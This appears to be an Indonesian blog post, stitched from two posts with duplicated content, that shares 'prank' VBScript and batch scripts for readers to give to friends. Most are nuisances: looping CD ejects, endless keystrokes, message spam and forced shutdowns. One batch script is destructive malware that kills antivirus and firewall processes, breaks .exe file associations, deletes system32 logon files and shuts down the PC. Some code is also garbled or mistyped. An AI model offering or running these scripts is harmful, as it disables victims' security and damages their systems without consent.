contoh iseng dengan cript notepad

Lets begin! Pastikan Anda Mengetik Dengan Benar Script Dibawah Ini! Copy Paste Kadang Tidak Berhasil Dikarenakan Perbedaan Tanda Petik ( ” ” ) Pada Notepad, Untuk Lebih Fix Bisa Pake TextPad
1. Iseng Mengeject CD-Drive Terus Menerus

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
2. Iseng Dengan Tombol Enter Terus Menerus

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
4. Iseng Dengan Backspace

MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
5. Iseng Dengan Membuka Calculator Terus Menerus

@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top

Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda
6. Iseng Dengan Keyboard

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
7. Iseng Dengan Shutdown Computer

@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda

Script-Script Jahil - Baik sobat, kali ini saya akan membagikan scrip jahil buat kalian yang suka jahil. Script ini dapat bekerja disemua PC apapun.

Berikut ini adalah scriptnya.

NB : Penggunaannya dimohon berhati-hati !! dan jangan sampai script ini dugunakan untuk kejahatan semata !!


MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS

CODE  :

@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

==> save nama script diatas dg ekstensi *.bat

BIKIN SHUTDOWN + MESSAGES

CODE:

 @echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu
standar abis"

 ==> save nama script diatas dg ekstensi *.bat

MAININ CAPS LOCK BUTTON

Code:

Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

==> save nama script diatas dg ekstensi *.vbs

BUKA TUTUP CD/DVD SECARA OTOMATIS

Code:

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

==> save nama script diatas dg ekstensi *.vbs

BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS

Code:

Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

==> save nama script diatas dg ekstensi *.vbs

MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS

Code:

MsgBox "kembali ke menu
sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do       
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

==> save nama script diatas dg ekstensi *.vbs

OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD

Code:

Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek
banget sih!!!"
loop

==> save nama script diatas dg ekstensi *.vbs

MEMBUKA NOTEPAD TERUS MENERUS

Code:

@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

==> save nama script diatas dg ekstensi *.BAT

OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU"

Code:

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell =
WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

==> save nama script diatas dg ekstensi *.vbs

BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2

Code:

@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...

POKOKNYA KALO YG INI DICOBA DULU DEH !!

Code:

@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:\WINDOWS
\system32\logoff.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”

==> save script diatas dg ekstensi *.bat

KEYBOARD PROBLEM

Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "sabotase keyboard, etc"
loop
==> save nama script diatas dg ekstensi *.bat

BACKSPACE PROBLEM

Code:

MsgBox "empatujuhcode bilang : anda harus mengulang kembali"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

==> save nama script diatas dg ekstensi *.bat


ENTER AGAIN

Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.bat


MAININ CAPSLOCK BUTTON

Code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

==> save nama script diatas dg ekstensi *.bat

VBS SCRIPT NONGOL TERUS

Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

==> save nama script diatas dg ekstensi *.bat

KUIS MEMBAWA PETAKA

Code:

@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

==> save nama script diatas dg ekstensi *.bat

MESSAGE ALERT

Code:

@ECHO off
:Begin
msg * Kenna Deh
msg * Huahahaha
msg * Install Ulang Aja
msg * Gak Mau Ya ?
msg * Terserah
msg * Mari Kita Bermain
msg * Nikmatilah hidup ini
msg * Jangan MENYERAH
msg * Jangan PANIK
msg * Jangan PUTUS ASA
msg * Jangan GROGI
msg * Huahahaha
msg * Saya tidak bermaksud JAHAT
msg * Hanya ISENG
msg * OKE lah Kalau begitu
msg * Perkenalkan SAYA
msg * EMPATUJUH CODE
msg * Kenal SAYA ?
msg * Gak kenal kan ?
msg * Makanya Rasakan ini
msg * Lain Kali Jangan KLIK SEMBARANG
msg * Gini aja
msg * Telepon Teman Kamu yg PINTAR
msg * Beresin Masalah ini
msg * Sebelum Terlambat
msg * OK
msg * Bye
msg * Love you Full
msg * Anjing
msg * Babi
msg * upss KECEPLOSAN
msg * huahahaha
GOTO BEGIN

==> save nama script diatas dg ekstensi *.bat



Nah , diatas adalah beberapa script jahil untuk PC, Mohon Hati-hati dalam penggunaannya. Jika ada something komenya, :)